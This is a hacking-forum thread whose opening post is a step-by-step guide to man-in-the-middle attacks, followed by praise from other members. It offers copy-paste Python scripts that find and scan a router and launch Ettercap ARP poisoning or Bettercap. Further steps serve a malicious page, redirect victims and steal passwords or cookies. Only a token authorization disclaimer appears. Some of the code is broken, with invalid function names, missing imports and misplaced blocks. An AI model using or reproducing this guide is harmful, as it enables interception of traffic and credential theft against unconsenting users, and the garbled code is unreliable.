

Forum:[Hack Forums](#)

Thread: [How to Perform Man-in-the-Middle \(MitM\) Attacks](#)

7 - November 30, 2024, 5:49 am

How to Perform Man-in-the-Middle (MitM) Attacks

Man-in-the-Middle (MitM) attacks are a type of cyber attack where an attacker intercepts communication between two parties, typically a user and a server, and can eavesdrop on, modify, or redirect the communication. This can be done by placing the attacker in the middle of the communication path, between the user and the server, without the user's knowledge.

Prerequisites:

- A local network with a vulnerable device (e.g., a router, switch, or Wi-Fi access point) that can be used as a proxy server.
- A device capable of running a packet sniffer and a web server (e.g., a Raspberry Pi with a Wi-Fi dongle and Apache).

Tools and Setup:

- A packet sniffer like Wireshark or tcpdump to capture network traffic.
- A web server like Apache or Nginx to serve the malicious content.
- A tool like Ettercap or Bettercap for performing the MitM attacks.

Procedure:

1. Configure the vulnerable device as a proxy server and forward all traffic to the attacker's device.
 - For routers and switches, you can usually find the proxy server settings in the web interface or by using the command line (e.g., using `ip route` or `route` commands).
 - For Wi-Fi access points, you may need to configure the proxy server settings through the web interface or by modifying the configuration file.

2. Start the packet sniffer on the attacker's device to capture network traffic.

- Wireshark: `sudo wireshark -i eth0`
- tcpdump: `sudo tcpdump -i eth0 -w capture.pcap`

The script below will automatically detect the router's IP address, scan it for vulnerabilities, and then capture packets from the local network using the specified interface.

This can be copy and pasted into a text document and saved as `step2.py` and ran with python `step2.py`

```
Code from scapy.all import *  
import nmap
```

```
def get_router_ip():
```

```

# Create an IP packet with a destination of the broadcast address
packet = IP(dst="255.255.255.255") / UDP(dport=68) / BOOTP() /
DHCP(options=[("message-type", "discover"), "end"])

# Send the packet and receive the response
response = srp1(packet, timeout=5)

# Extract the router's IP address from the response
if response is not None:
    router_ip = response[BOOTP].yiaddr
    return router_ip
else:
    print("Failed to find the router's IP address.")
    return None

def scan_router(router_ip):
    # Create an instance of the nmap.PortScanner class
    nm = nmap.PortScanner()

    # Scan the router for open ports and vulnerabilities
    nm.scan(router_ip, arguments='-sV -sC')

    # Print the results
    print(f"Scan results for {router_ip}:")
    print(nm.scaninfo())
    print(nm[router_ip].state())
    print(nm[router_ip].all_protocols())
    print(nm[router_ip]['tcp'].keys())

    # Check for common vulnerabilities
    if '23' in nm[router_ip]['tcp']:
        print("Telnet is enabled on the router. This is a security risk.")
    if '22' in nm[router_ip]['tcp']:
        print("SSH is enabled on the router. This is a security risk.")
    if '80' in nm[router_ip]['tcp']:
        print("Web server is running on the router. This may be a security risk.")

def packet_callback(packet):
    # Check if the packet is an IP packet
    if IP in packet:
        # Extract the source and destination IP addresses
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst

        # Print the packet information
        print(f"Source IP: {src_ip}, Destination IP: {dst_ip}")

# Get the router's IP address
router_ip = get_router_ip()

if router_ip is not None:
    # Scan the router for vulnerabilities
    scan_router(router_ip)

```

```
# Set the interface to capture packets on
interface = "eth0"

# Capture packets on the specified interface
sniff(iface=interface, prn=packet_callback, store=0)
else:
    print("Failed to find the router's IP address.")
3. Use Ettercap or Bettercap to perform the MitM attack.
```

This script will check if ettercap and bettercap are installed on the system. If either one is found, it will prompt the user to choose between the two tools. It will then scan the router for vulnerabilities and perform the chosen MiTM attack. Remember to run this script with appropriate permissions or using tools like sudo to scan the router and perform the MiTM attacks.

This can be copy and pasted into a text document and saved as step3.py and ran with python step3.py

```
Code import os
import subprocess
import nmap

def check_ettercap():
    try:
        subprocess.check_output(['ettercap', '--version'])
        return True
    except:
        return False

def check_bettercap():
    try:
        subprocess.check_output(['bettercap', '-h'])
        return True
    except:
        return False

def get_router_ip():
    # Create an IP packet with a destination of the broadcast address
    packet = IP(dst="255.255.255.255") / UDP(dport=68) / BOOTP() /
DHCP(options=[("message-type", "discover"), "end"])

    # Send the packet and receive the response
    response = srp1(packet, timeout=5)

    # Extract the router's IP address from the response
    if response is not None:
        router_ip = response[BOOTP].yiaddr
        return router_ip
    else:
        print("Failed to find the router's IP address.")
        return None
```

```

def scan_router(router_ip):
    # Create an instance of the nmap.PortScanner class
    nm = nmap.PortScanner()

    # Scan the router for open ports and vulnerabilities
    nm.scan(router_ip, arguments='-sV -sC')

    # Print the results
    print(f'Scan results for {router_ip}:')
    print(nm.scaninfo())
    print(nm[router_ip].state())
    print(nm[router_ip].all_protocols())
    print(nm[router_ip]['tcp'].keys())

    # Check for common vulnerabilities
    if '23' in nm[router_ip]['tcp']:
        print("Telnet is enabled on the router. This is a security risk.")
    if '22' in nm[router_ip]['tcp']:
        print("SSH is enabled on the router. This is a security risk.")
    if '80' in nm[router_ip]['tcp']:
        print("Web server is running on the router. This may be a security risk.")

def perform Ettercap_attack(router_ip):
    # Run Ettercap command
    subprocess.run(['ettercap', '-G', '-M', f'arp:remote', '-i', 'eth0', '//', '//'])

def perform Bettercap_attack(router_ip):
    # Run Bettercap command
    subprocess.run(['bettercap', '-iface', 'eth0', '-caplet', 'mitm.cap'])

# Check for ettercap and bettercap
has_ettercap = check_ettercap()
has_bettercap = check_bettercap()

if has_ettercap or has_bettercap:
    # Prompt the user to choose between Ettercap and Bettercap
    choice = input("Choose the MiTM tool to use (1 for Ettercap, 2 for Bettercap): ")

    # Get the router's IP address
    router_ip = get_router_ip()

    if router_ip is not None:
        # Scan the router for vulnerabilities
        scan_router(router_ip)

        # Perform the chosen MiTM attack
        if choice == '1' and has_ettercap:
            perform_ettercap_attack(router_ip)
        elif choice == '2' and has_bettercap:
            perform_bettercap_attack(router_ip)
        else:
            print("Invalid choice. Exiting.")
    else:

```

```
print("Failed to find the router's IP address.")
else:
    print("Ettercap and Bettercap are not installed. Please install one of them and try again.")
4. Set up a web server on the attacker's device to serve a malicious page.
    - Apache:
        - Install Apache on the Raspberry Pi: `sudo apt-get install apache2`
        - Create a malicious HTML page (e.g., `malicious.html`) with the desired content.
        - Place the malicious page in the Apache document root (usually `/var/www/html/`).

5. Redirect the user's browser to the malicious page using the web server.
    - On the vulnerable device, configure the proxy server to redirect traffic to the attacker's device.
    - For example, if the malicious page is located at `http://attacker.local/malicious.html`, the proxy
server should be configured to redirect traffic to this URL.

6. Intercept and modify the user's traffic as needed (e.g., stealing passwords or cookies).
    - Ettercap and Bettercap can be used to intercept and modify the user's traffic.
    - For example, you can use the `redirect` command in Ettercap to redirect the user to a different
URL: `redirect / http://example.com/`
    - You can also use the `set http.proxy.script` command in Bettercap to execute a script that
modifies the user's traffic.

7. Redirect the user to the legitimate website or perform other malicious activities.
    - You can use the `redirect` command in Ettercap or the `http.proxy.script` command in Bettercap
to redirect the user to the legitimate website.
    - You can also use the `http.proxy.script` command to execute a script that modifies the user's
traffic in a more advanced way.
```

Note:

- Performing MitM attacks requires authorization and should be done in a controlled environment. ?
- Always obtain explicit permission before performing any MitM attack. ?
- Keep the attacker's device secure and use it only for legitimate purposes. ?

Conclusion:

Man-in-the-Middle attacks can be a powerful tool for penetration testing and security research. By intercepting and modifying network traffic, attackers can steal sensitive information, redirect users to malicious websites, or perform other malicious activities. However, it is important to use these techniques responsibly and ethically.

tkboom - November 30, 2024, 5:56 am

It seems like a very constructive solution.

7 - November 30, 2024, 11:01 am

(Nov 30, 2024 06:56 AM)tkboom Wrote: [\[CITE\]](#) It seems like a very constructive solution.

Thank you mate,

There are some very useful scripts and tools in here

Miles Teller - November 30, 2024, 12:56 pm

Awesome share man, good stuff!

7 - December 1, 2024, 5:40 am

(Nov 30, 2024 01:56 PM)Miles Teller Wrote: [\[CITE\]](#) Awesome share man, good stuff!

Thank you hopefully you find it useful

ImaginaryMoose - January 12, 2025, 9:53 am

detailed and concise please keep content like this coming!

Tyr - January 12, 2025, 10:43 am

Fantastic post with well detailed information for performing these type of attacks. Thanks @7@.

RootRXXT - January 12, 2025, 11:34 am

awesome kb @7@ , cheers man

vandall666 - February 8, 2025, 12:54 pm

Thank you for posting, this is great informarion

Cricc - February 21, 2025, 10:10 pm

Nice! Thanks for sharing.